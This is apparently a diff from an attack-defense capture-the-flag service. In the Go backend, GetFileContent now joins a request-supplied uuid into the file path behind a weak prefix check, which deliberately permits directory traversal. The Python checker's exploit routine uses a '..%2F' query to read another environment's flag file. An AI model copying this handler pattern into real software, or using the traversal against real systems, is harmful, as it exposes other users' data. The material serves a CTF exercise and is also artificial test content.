diff --git a/checker/src/checker.py b/checker/src/checker.py index 0d9cc6e..ed936bf 100644 --- a/checker/src/checker.py +++ b/checker/src/checker.py @@ -27,6 +27,7 @@ create_devenv, devenv_websocket, do_create_devenv, + do_get_devenv_file_content, do_repl_auth, do_set_devenv_file_content, do_user_login, @@ -276,14 +277,14 @@ async def getflag1( flag = ( base64.b64encode(bytes(task.flag, "utf-8")).decode("utf-8").replace("+", "\\+") ) - try: - await devenv_websocket(task.address, logger, cookies, devenvUuid, f".*{flag}.*") - except TimeoutError: - raise MumbleException("Flag was not found") - except ConnectionClosedError: - raise MumbleException("Connection was closed") - except InvalidStatusCode: - raise MumbleException("Invalid Status Code") + + payload = await do_get_devenv_file_content( + client, logger, cookies, devenvUuid, "flagstore.txt" + ) + + match = re.match(f".*{flag}.*", payload, re.S) + if match is None: + raise MumbleException("Received unexpected input") @checker.exploit(1) @@ -315,20 +316,18 @@ async def exploit1( ) try: - response = await devenv_websocket( - task.address, + payload = await do_get_devenv_file_content( + client, logger, cookies, devenvUuid, - r"FLAG\s*([A-Za-z0-9\+\=\/]+)\s*OK", + "flagstore.txt", f"?uuid={devenvUuid}%2F..%2F{target_devenvUuid}", ) - match = re.findall(r"FLAG\s*([A-Za-z0-9\+\=\/]+)\s*OK", response) - if len(match) == 0: - return None - - flag = base64.b64decode(match[0]).decode("utf-8") + flag = base64.b64decode(payload).decode("utf-8") return flag + except AttributeError: + raise MumbleException("Invalid base64") except TimeoutError: raise MumbleException("Flag was not found") except ConnectionClosedError: diff --git a/checker/src/util.py b/checker/src/util.py index 772607d..4784f8e 100644 --- a/checker/src/util.py +++ b/checker/src/util.py @@ -224,6 +224,26 @@ async def do_set_devenv_file_content( assert_equals(response.status_code < 300, True, "Setting file content failed") +async def do_get_devenv_file_content( + client: AsyncClient, + logger: LoggerAdapter, + cookies: Cookies, + devenvUuid: str, + filename: str, + query: str = "", +) -> str: + response = await client.get( + "/api/devenv/" + devenvUuid + "/files/" + filename + query, + follow_redirects=True, + headers={ + "Cookie": "session=" + (cookies.get("session") or ""), + }, + ) + logger.info(f"Server answered: {response.status_code} - {response.text}") + assert_equals(response.status_code < 300, True, "Setting file content failed") + return response.text + + async def do_repl_auth( client: AsyncClient, logger: LoggerAdapter, username: str, password: str ) -> tuple[Cookies, str]: diff --git a/service/backend/controller/devenv.go b/service/backend/controller/devenv.go index cabca60..9636a0f 100644 --- a/service/backend/controller/devenv.go +++ b/service/backend/controller/devenv.go @@ -237,12 +237,18 @@ func (devenv *DevenvController) CreateFile(ctx *gin.Context) { } func (devenv *DevenvController) GetFileContent(ctx *gin.Context) { - _devenv, _ := ctx.Get("current_devenv") - currentDevenv := _devenv.(model.Devenv) - + _uuid, _ := ctx.Get("uuid") + uuid := _uuid.(string) name := ctx.Param("name") + path := filepath.Join(devenv.DevenvFilesPath, uuid, name) + + if !strings.HasPrefix(path, devenv.DevenvFilesPath) { + ctx.AbortWithStatusJSON(http.StatusBadRequest, &gin.H{ + "error": "Invalid uuid", + }) + return + } - path := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID, name) content, err := util.GetFileContent(path) if err != nil { @@ -310,21 +316,10 @@ func (devenv *DevenvController) DeleteFile(ctx *gin.Context) { } func (devenv *DevenvController) Exec(ctx *gin.Context) { - _uuid, _ := ctx.Get("uuid") - uuid := _uuid.(string) - _devenv, _ := ctx.Get("current_devenv") currentDevenv := _devenv.(model.Devenv) - src := filepath.Join(devenv.DevenvFilesPath, uuid) - - if !strings.HasPrefix(src, devenv.DevenvFilesPath) { - ctx.AbortWithStatusJSON(http.StatusBadRequest, &gin.H{ - "error": "Invalid uuid", - }) - return - } - + src := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID) tmpUuid := guuid.New().String() target := filepath.Join(devenv.DevenvFilesPathTmp, tmpUuid)